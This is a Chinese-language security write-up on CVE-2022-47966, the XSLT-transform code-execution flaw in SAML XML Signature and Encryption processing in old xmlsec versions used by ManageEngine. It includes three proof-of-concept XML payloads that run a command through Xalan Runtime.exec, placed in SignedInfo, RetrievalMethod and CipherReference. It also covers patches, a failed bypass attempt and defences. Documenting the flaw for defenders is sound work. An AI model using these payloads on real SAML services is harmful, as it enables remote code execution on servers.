CVE-2022-47966 SAML RCE
字数 1216 2025-08-24 16:48:07

XML Signature 和 XML Encryption 中的 XSLT 转换漏洞分析

1. 漏洞背景

SAML(安全断言标记语言)和OIDC(OpenID Connect)是主要的SSO(单点登录)标准。SAML依赖XMLSignature和XMLEncryption来验证消息来源,但这些标准设计复杂,存在多种安全风险。

2. 核心漏洞原理

2.1 XSLT转换功能的风险

XML Signature规范允许执行XSLT转换(https://www.w3.org/TR/2013/REC-xmldsig-core1-20130411/#sec-XSLT),攻击者可以构造恶意XSLT样式表,在服务器验证签名时执行任意代码。

2.2 漏洞触发点

在XML处理过程中,存在多个可能触发XSLT转换的位置:

  1. SignedInfo验证过程:旧版本xmlsec在验证签名时首先检查SignedInfo
  2. RetrievalMethod元素:KeyInfo中的RetrievalMethod会在签名值检查前执行转换
  3. XML加密相关元素
    • CipherReference
    • ReferenceList
    • EncryptedKey中的KeyInfo

3. 漏洞利用方式

3.1 基本利用方法

构造包含恶意XSLT的XML签名文件示例:

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  <ds:SignedInfo>
    <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1">
      <ds:HMACOutputLength>1</ds:HMACOutputLength>
    </ds:SignatureMethod>
    <ds:Reference URI="#pfx2d9362ee-a4ec-13c8-3151-65f533ef4416">
      <ds:Transforms>
        <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
          <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
            xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" 
            xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
            <xsl:template match="/">
              <xsl:variable name="rtobject" select="rt:getRuntime()"/>
              <xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
              <xsl:variable name="processString" select="ob:toString($process)"/>
              <xsl:value-of select="$processString"/>
            </xsl:template>
          </xsl:stylesheet>
        </ds:Transform>
        <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      </ds:Transforms>
      <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
      <ds:DigestValue>/KjOCTrjp+RcRcbirgX6HysSfhM=</ds:DigestValue>
    </ds:Reference>
  </ds:SignedInfo>
  <ds:SignatureValue>AAAAAA</ds:SignatureValue>
</ds:Signature>

3.2 通过RetrievalMethod利用

<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  <ds:RetrievalMethod URI="file:/some/important/secret.xml">
    <ds:Transforms>
      <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
        <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
          xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" 
          xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
          <xsl:template match="/">
            <xsl:variable name="rtobject" select="rt:getRuntime()"/>
            <xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
            <xsl:variable name="processString" select="ob:toString($process)"/>
            <xsl:value-of select="$processString"/>
          </xsl:template>
        </xsl:stylesheet>
      </ds:Transform>
    </ds:Transforms>
  </ds:RetrievalMethod>
</ds:KeyInfo>

3.3 通过XML加密利用

<xenc:CipherData>
  <xenc:CipherReference URI="#_8e8dc5f69a98cc4c1ff3427e5ce34606fd672f91e6">
    <xenc:Transforms>
      <dsig:Transforms>
        <dsig:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
          <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
            xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" 
            xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
            <xsl:template match="/">
              <xsl:variable name="rtobject" select="rt:getRuntime()"/>
              <xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
              <xsl:variable name="processString" select="ob:toString($process)"/>
              <xsl:value-of select="$processString"/>
            </xsl:template>
          </xsl:stylesheet>
        </dsig:Transform>
      </dsig:Transforms>
    </xenc:Transforms>
  </xenc:CipherReference>
</xenc:CipherData>

4. 安全防护措施

4.1 xmlsec版本更新

  1. xmlsec 1.4.2及以上:在检查签名信息前先检查签名值
  2. xmlsec 1.5.0及以上:添加了安全验证属性(但默认未启用)
  3. xmlsec 2.2.3/2.1.7及以上:修复了KeyInfoReference绕过问题

4.2 安全处理功能

从xmlsec 1.4.2开始,在执行XSLT转换时启用了安全处理功能,限制了Xalan扩展的使用,仅保留document()等有限功能。

5. 绕过尝试

5.1 CVE-2022-34169整数截断漏洞

尝试利用Xalan整数截断错误绕过安全限制,但发现:

  1. 该漏洞发生在XSLTC编译过程中
  2. 当类路径中有xalan库时,默认使用XSLTElementProcessors而非XSLTC
  3. 因此该绕过方法在xalan存在时无效

6. 漏洞影响

该漏洞影响使用旧版本xmlsec的SAML实现,特别是:

  • ManageEngine产品(不同产品使用不同xmlsec版本)
  • 其他未及时更新xmlsec库的SAML实现

7. 防御建议

  1. 更新xmlsec到最新版本(2.2.3或2.1.7及以上)
  2. 启用安全验证属性
  3. 限制XSLT转换功能的使用
  4. 对SAML响应进行严格的输入验证

8. 参考资源

  1. XML Signature规范
  2. XML Encryption规范
  3. tint0博客
  4. ManageEngine公告
  5. CVE-2022-34169详情
XML Signature 和 XML Encryption 中的 XSLT 转换漏洞分析 1. 漏洞背景 SAML(安全断言标记语言)和OIDC(OpenID Connect)是主要的SSO(单点登录)标准。SAML依赖XMLSignature和XMLEncryption来验证消息来源,但这些标准设计复杂,存在多种安全风险。 2. 核心漏洞原理 2.1 XSLT转换功能的风险 XML Signature规范允许执行XSLT转换(https://www.w3.org/TR/2013/REC-xmldsig-core1-20130411/#sec-XSLT),攻击者可以构造恶意XSLT样式表,在服务器验证签名时执行任意代码。 2.2 漏洞触发点 在XML处理过程中,存在多个可能触发XSLT转换的位置: SignedInfo验证过程 :旧版本xmlsec在验证签名时首先检查SignedInfo RetrievalMethod元素 :KeyInfo中的RetrievalMethod会在签名值检查前执行转换 XML加密相关元素 : CipherReference ReferenceList EncryptedKey中的KeyInfo 3. 漏洞利用方式 3.1 基本利用方法 构造包含恶意XSLT的XML签名文件示例: 3.2 通过RetrievalMethod利用 3.3 通过XML加密利用 4. 安全防护措施 4.1 xmlsec版本更新 xmlsec 1.4.2及以上 :在检查签名信息前先检查签名值 xmlsec 1.5.0及以上 :添加了安全验证属性(但默认未启用) xmlsec 2.2.3/2.1.7及以上 :修复了KeyInfoReference绕过问题 4.2 安全处理功能 从xmlsec 1.4.2开始,在执行XSLT转换时启用了安全处理功能,限制了Xalan扩展的使用,仅保留document()等有限功能。 5. 绕过尝试 5.1 CVE-2022-34169整数截断漏洞 尝试利用Xalan整数截断错误绕过安全限制,但发现: 该漏洞发生在XSLTC编译过程中 当类路径中有xalan库时,默认使用XSLTElementProcessors而非XSLTC 因此该绕过方法在xalan存在时无效 6. 漏洞影响 该漏洞影响使用旧版本xmlsec的SAML实现,特别是: ManageEngine产品(不同产品使用不同xmlsec版本) 其他未及时更新xmlsec库的SAML实现 7. 防御建议 更新xmlsec到最新版本(2.2.3或2.1.7及以上) 启用安全验证属性 限制XSLT转换功能的使用 对SAML响应进行严格的输入验证 8. 参考资源 XML Signature规范 XML Encryption规范 tint0博客 ManageEngine公告 CVE-2022-34169详情